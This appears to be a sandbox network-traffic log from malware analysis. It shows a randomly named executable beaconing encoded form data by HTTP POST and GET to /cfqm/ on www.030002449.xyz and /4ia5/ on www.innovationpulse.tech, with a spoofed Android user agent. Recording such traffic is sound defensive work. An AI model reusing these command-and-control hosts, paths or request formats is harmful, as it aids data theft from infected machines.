Nov 28, 2024 09:16:34.078825951 CET	1236	IN	Data Raw: 73 3f 3c 2f 68 32 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 62 61 73 65 20 63 6f 6c 2d 68 61 6c 66 2d 77 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 68 6f 69 63 65 2d 69 63 6f 6e 20 79 65 73 22 3e 0a 3c 73 76 67 3e 3c Data Ascii: s?</h2><div class="col-base col-half-width"><div class="choice-icon yes"><svg><use xlink:href="#yes-icon"></use></svg></div><h3>Yes, this is my domain.</h3><p>Sign in to manage your domain and account.</p><a class="choice-link yes" href
Nov 28, 2024 09:16:34.195972919 CET	1236	IN	Data Raw: 72 2d 6f 6e 6c 79 22 3e 43 68 65 63 6b 20 6f 75 74 20 6f 75 72 20 70 72 6f 64 75 63 74 73 3c 2f 68 32 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 62 61 73 65 20 63 6f 6c 2d 74 68 69 72 64 2d 77 69 64 74 68 22 3e 0a 3c 68 33 3e 3c 69 6d Data Ascii: r-only">Check out our products</h2><div class="col-base col-third-width"><h3><img src="https://park.101datacenter.net/images/vendor-1/google_workspace.png" alt="Google Workspace logo" width="185" height="24" /></h3><p>A collection of collab

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50023	161.97.142.144	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:40.030689955 CET	799	OUT	POST /cfqm/ HTTP/1.1 Host: www.030002449.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.030002449.xyz Referer: http://www.030002449.xyz/cfqm/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 49 46 4b 74 77 4d 2f 6c 54 57 77 47 65 66 4a 2f 70 55 45 43 2f 4e 31 54 61 73 73 71 76 50 6b 43 31 43 2b 61 63 48 31 6b 69 72 4a 30 56 41 6b 36 4e 45 6f 36 67 70 45 6c 71 2b 35 62 6e 37 62 51 6f 73 6f 6e 57 42 64 33 2f 6f 4b 36 41 48 78 2f 70 4c 59 47 58 73 47 4b 44 42 73 4f 69 6d 65 32 67 52 78 45 2b 73 6b 59 70 64 36 4c 55 53 6c 69 44 46 36 4c 58 42 35 62 53 77 37 7a 39 4a 61 50 43 66 45 76 4a 39 65 62 34 58 43 69 6a 65 71 2b 78 41 42 72 4c 56 4b 33 47 7a 77 43 71 54 2b 31 51 41 54 36 33 58 49 4e 44 4e 70 74 2f 56 73 6b 43 4d 51 68 55 46 76 2f 56 6b 41 64 36 69 2b 66 6f 62 67 6c 75 72 4d 3d Data Ascii: QhKxhNP=IFKtwM/lTWwGefJ/pUEC/N1TassqvPkC1C+acH1kirJ0VAk6NEo6gpElq+5bn7bQosonWBd3/oK6AHx/pLYGXsGKDBsOime2gRxE+skYpd6LUSliDF6LXB5bSw7z9JaPCfEvJ9eb4XCijeq+xABrLVK3GzwCqT+1QAT63XINDNpt/VskCMQhUFv/VkAd6i+fobglurM=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50024	161.97.142.144	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:42.705497026 CET	819	OUT	POST /cfqm/ HTTP/1.1 Host: www.030002449.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.030002449.xyz Referer: http://www.030002449.xyz/cfqm/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 49 46 4b 74 77 4d 2f 6c 54 57 77 47 66 36 5a 2f 6d 58 38 43 39 74 31 51 47 38 73 71 6c 76 6b 47 31 43 79 61 63 47 77 2f 69 64 78 30 56 6c 41 36 66 78 63 36 68 70 45 6c 67 65 35 61 71 62 62 58 6f 73 31 51 57 44 4a 33 2f 6f 65 36 41 43 31 2f 70 63 73 46 57 38 47 49 64 68 73 41 39 32 65 32 67 52 78 45 2b 74 46 44 70 64 69 4c 58 69 56 69 5a 6b 36 49 66 68 35 61 52 77 37 7a 35 4a 61 4c 43 66 46 4d 4a 35 65 31 34 56 4b 69 6a 62 57 2b 78 55 56 73 42 56 4b 39 4c 54 78 72 74 44 54 6b 57 6a 76 36 37 6d 74 34 51 50 78 58 36 6a 64 4f 59 75 59 4a 48 6c 44 48 46 33 49 71 72 53 66 32 79 34 77 56 77 38 5a 31 74 49 72 6e 4e 61 78 52 62 34 50 61 4f 4f 66 4e 55 6e 30 6a Data Ascii: QhKxhNP=IFKtwM/lTWwGf6Z/mX8C9t1QG8sqlvkG1CyacGw/idx0VlA6fxc6hpElge5aqbbXos1QWDJ3/oe6AC1/pcsFW8GIdhsA92e2gRxE+tFDpdiLXiViZk6Ifh5aRw7z5JaLCfFMJ5e14VKijbW+xUVsBVK9LTxrtDTkWjv67mt4QPxX6jdOYuYJHlDHF3IqrSf2y4wVw8Z1tIrnNaxRb4PaOOfNUn0j
Nov 28, 2024 09:16:43.983979940 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 28 Nov 2024 08:16:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 28, 2024 09:16:43.983995914 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50025	161.97.142.144	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:45.385179043 CET	1836	OUT	POST /cfqm/ HTTP/1.1 Host: www.030002449.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.030002449.xyz Referer: http://www.030002449.xyz/cfqm/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 49 46 4b 74 77 4d 2f 6c 54 57 77 47 66 36 5a 2f 6d 58 38 43 39 74 31 51 47 38 73 71 6c 76 6b 47 31 43 79 61 63 47 77 2f 69 65 52 30 55 58 49 36 4e 69 30 36 77 5a 45 6c 73 2b 35 48 71 62 62 47 6f 73 74 55 57 44 55 4d 2f 71 6d 36 42 6b 4a 2f 2b 65 45 46 66 38 47 49 56 42 73 42 69 6d 66 69 67 52 68 49 2b 73 70 44 70 64 69 4c 58 67 64 69 50 6c 36 49 53 42 35 62 53 77 37 46 39 4a 61 33 43 66 64 79 4a 35 53 4c 34 42 47 69 6a 37 6d 2b 77 6e 74 73 63 6c 4b 7a 4b 54 78 7a 74 44 65 38 57 6a 7a 4d 37 6d 4a 57 51 4e 68 58 34 55 45 6c 46 36 51 32 53 32 58 49 50 31 42 4b 7a 6b 72 4f 38 72 38 68 33 65 64 49 6b 61 50 76 47 38 46 46 61 4c 57 55 56 76 4c 6f 61 77 6c 64 34 55 74 35 52 6c 43 47 46 31 49 30 2f 71 70 2f 79 79 64 65 50 4c 31 7a 69 70 6b 43 58 76 6b 48 50 53 77 67 78 4d 34 79 33 63 6f 4d 6e 2b 6f 6a 38 74 56 33 6b 4f 6a 6d 6b 77 63 53 4e 41 49 5a 51 6c 4c 54 55 47 79 61 31 63 38 4a 78 72 37 67 38 43 73 78 53 37 43 51 2f 69 72 46 35 61 42 4e 6c 48 34 34 7a 65 49 45 72 6b 6a 77 6e 76 [TRUNCATED] Data Ascii: QhKxhNP=IFKtwM/lTWwGf6Z/mX8C9t1QG8sqlvkG1CyacGw/ieR0UXI6Ni06wZEls+5HqbbGostUWDUM/qm6BkJ/+eEFf8GIVBsBimfigRhI+spDpdiLXgdiPl6ISB5bSw7F9Ja3CfdyJ5SL4BGij7m+wntsclKzKTxztDe8WjzM7mJWQNhX4UElF6Q2S2XIP1BKzkrO8r8h3edIkaPvG8FFaLWUVvLoawld4Ut5RlCGF1I0/qp/yydePL1zipkCXvkHPSwgxM4y3coMn+oj8tV3kOjmkwcSNAIZQlLTUGya1c8Jxr7g8CsxS7CQ/irF5aBNlH44zeIErkjwnvGgFke2Xbmjo0P0NnuuQwnVembHVp2CEZPmT/sK/POnznsq4cr/+20kxPy+myc3ln4850qTCMKcZAcWebFTMmY/s5kDn3gZAgQFmeKOdDlZ6QYW8vxS015GsMPydC04ZJnukZCa9F3+6hod1EszaNDOqRpCRjAndmBU6SyGsVBTfhhW8y8YqwaZyle+ZqYHiGJvbTnPsVaR9HLfqnZ/Io6cfO6FqLNhW7rlf+BVTrbSi1eQpoGM7E/rkM56tjzutdYvyNGqIQLZMEPoYm1WuY8F44OLUIAB6nYuzItuCgamA4oyQzoNeZSvPIdPMtE2N61DJi49aD1uCs7elGMZ5Mdeter8RPfuTRX678aKMBFmjJ6m7AzyMr9HTvAUvr7DCMjrj85n+94Vjf0sZdNEKhsUyJ/2bLTy+R2SBmVCIZTiLGi1+iVp/nx+BzRgBfySJf8iYhEHzCYQTLRQUNF/NlHDWa6OWCZD+AgAr5um/aWQAh7poiK5Mk5g8h0E3QVIdy8AXkLegrUZZ9Pm9A79680w82deMPzJU2k8t2qxYy108ZVo15FdLUzawwLVW8XPFV6uJPAVNdFBZUGPLyCbowcgW3tqRTit0fKgQ0zs49IRLIHoz2KGYm7a6B12DlcaJBvyqC+C8V91/x3yVb7SE+7/r4GIPu4HyB/g [TRUNCATED]
Nov 28, 2024 09:16:46.601273060 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 28 Nov 2024 08:16:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 28, 2024 09:16:46.601397991 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50026	161.97.142.144	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:48.036974907 CET	543	OUT	GET /cfqm/?QhKxhNP=FHiNz6b6Wn9oKec3i10x/NxXWu4/t8kjzDy3bn44oOFoUWscXE4DzqYFgJdNnLXTrdZ+ESI+3Oq4E1BzotELfZv0FR4L9xniphkEx7BDvvGrYDhvMkPmWTEebCLVzsH5Qg==&Yby=d2ydCtHpb8 HTTP/1.1 Host: www.030002449.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Nov 28, 2024 09:16:49.317785025 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 28 Nov 2024 08:16:49 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Nov 28, 2024 09:16:49.317852020 CET	1236	IN	Data Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
Nov 28, 2024 09:16:49.317867041 CET	448	IN	Data Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"
Nov 28, 2024 09:16:49.318216085 CET	250	IN	Data Raw: 09 3c 70 3e 4f 6f 70 73 21 20 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 74 68 65 20 70 61 67 65 20 74 68 61 74 20 79 6f 75 27 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 3c 2f 70 3e 0a 09 09 09 09 09 09 3c 70 3e 50 6c 65 61 73 65 20 63 Data Ascii: <p>Oops! We couldn't find the page that you're looking for.</p><p>Please check the address and try again.</p><section class="footer"><strong>Error Code:</strong> 404</section></div></div></div></div></body><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50027	75.2.103.23	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:55.232443094 CET	820	OUT	POST /4ia5/ HTTP/1.1 Host: www.innovationpulse.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 208 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.innovationpulse.tech Referer: http://www.innovationpulse.tech/4ia5/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 6c 52 53 48 77 36 34 6e 2b 38 50 6a 4b 2b 75 76 6d 70 79 66 71 4d 45 4e 37 70 78 6d 59 31 66 78 4e 78 66 32 79 45 35 4c 79 59 76 70 44 52 64 33 73 6f 66 73 65 73 62 68 65 43 65 64 6a 69 67 45 4a 33 71 6f 51 6b 59 45 46 35 35 47 71 38 31 37 4b 65 41 62 54 48 67 30 49 2b 4c 58 51 57 73 45 38 34 7a 6b 58 4f 59 42 50 4b 67 6b 55 53 53 31 41 42 4e 6b 79 6d 62 6d 2f 70 6e 54 32 2b 52 62 6b 75 53 54 63 54 30 4c 45 63 33 63 54 51 51 4d 56 73 54 6b 61 7a 6f 6b 7a 70 2b 6e 4c 41 65 4a 4a 39 66 4e 49 68 65 44 41 42 59 67 38 38 64 39 69 4f 4d 4d 6e 34 35 54 4a 45 63 58 37 6a 49 54 35 45 4d 54 49 2b 6f 3d Data Ascii: QhKxhNP=lRSHw64n+8PjK+uvmpyfqMEN7pxmY1fxNxf2yE5LyYvpDRd3sofsesbheCedjigEJ3qoQkYEF55Gq817KeAbTHg0I+LXQWsE84zkXOYBPKgkUSS1ABNkymbm/pnT2+RbkuSTcT0LEc3cTQQMVsTkazokzp+nLAeJJ9fNIheDABYg88d9iOMMn45TJEcX7jIT5EMTI+o=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50028	75.2.103.23	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:16:57.901714087 CET	840	OUT	POST /4ia5/ HTTP/1.1 Host: www.innovationpulse.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 228 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.innovationpulse.tech Referer: http://www.innovationpulse.tech/4ia5/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 6c 52 53 48 77 36 34 6e 2b 38 50 6a 4c 65 65 76 31 35 4f 66 73 73 45 4b 69 5a 78 6d 58 56 66 31 4e 32 58 32 79 42 64 6c 79 72 62 70 44 31 52 33 6a 4a 66 73 51 4d 62 68 57 69 65 46 6e 69 67 50 4a 33 6d 57 51 68 67 45 46 35 39 47 71 34 35 37 4b 70 55 63 53 58 67 32 45 65 4c 5a 66 32 73 45 38 34 7a 6b 58 4f 4d 2f 50 4c 49 6b 55 44 69 31 41 6a 6c 6a 75 32 62 6c 32 4a 6e 54 38 65 52 58 6b 75 54 47 63 53 6f 78 45 66 66 63 54 53 49 4d 56 2b 72 6a 4a 54 6f 69 74 5a 2f 4e 41 53 50 48 4b 65 6e 32 56 69 2b 46 58 42 73 48 35 4b 73 58 34 73 45 6b 30 59 56 72 5a 58 55 67 71 54 70 36 6a 6e 63 6a 57 70 38 38 6e 6c 2f 6c 72 4e 64 63 62 4d 74 4c 64 36 31 67 32 78 55 4a Data Ascii: QhKxhNP=lRSHw64n+8PjLeev15OfssEKiZxmXVf1N2X2yBdlyrbpD1R3jJfsQMbhWieFnigPJ3mWQhgEF59Gq457KpUcSXg2EeLZf2sE84zkXOM/PLIkUDi1Ajlju2bl2JnT8eRXkuTGcSoxEffcTSIMV+rjJToitZ/NASPHKen2Vi+FXBsH5KsX4sEk0YVrZXUgqTp6jncjWp88nl/lrNdcbMtLd61g2xUJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50029	75.2.103.23	80	2848	C:\Program Files (x86)\hzuGXVXlIlqhzTaLrsoahghOMClgjaLtkeNhEYzbfIMXqVfl\vWFGbvOdxI.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 09:17:00.562285900 CET	1857	OUT	POST /4ia5/ HTTP/1.1 Host: www.innovationpulse.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Accept-Encoding: gzip, deflate Connection: close Content-Length: 1244 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Origin: http://www.innovationpulse.tech Referer: http://www.innovationpulse.tech/4ia5/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; ZTE-Z777 Build/JLS36C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 51 68 4b 78 68 4e 50 3d 6c 52 53 48 77 36 34 6e 2b 38 50 6a 4c 65 65 76 31 35 4f 66 73 73 45 4b 69 5a 78 6d 58 56 66 31 4e 32 58 32 79 42 64 6c 79 71 6a 70 41 41 4e 33 69 71 6e 73 54 4d 62 68 59 43 65 52 6e 69 67 6f 4a 33 2b 4b 51 68 6b 55 46 37 31 47 71 64 6c 37 4d 63 6f 63 62 58 67 32 4d 2b 4c 59 51 57 73 72 38 34 6a 67 58 4f 63 2f 50 4c 49 6b 55 41 36 31 4a 52 4e 6a 73 32 62 6d 2f 70 6e 66 32 2b 51 43 6b 75 4c 57 63 53 73 68 45 75 2f 63 53 79 59 4d 55 4e 54 6a 54 54 6f 67 73 5a 2f 56 41 53 44 4d 4b 65 71 59 56 6a 4c 53 58 43 38 48 36 74 64 54 38 66 67 46 6a 70 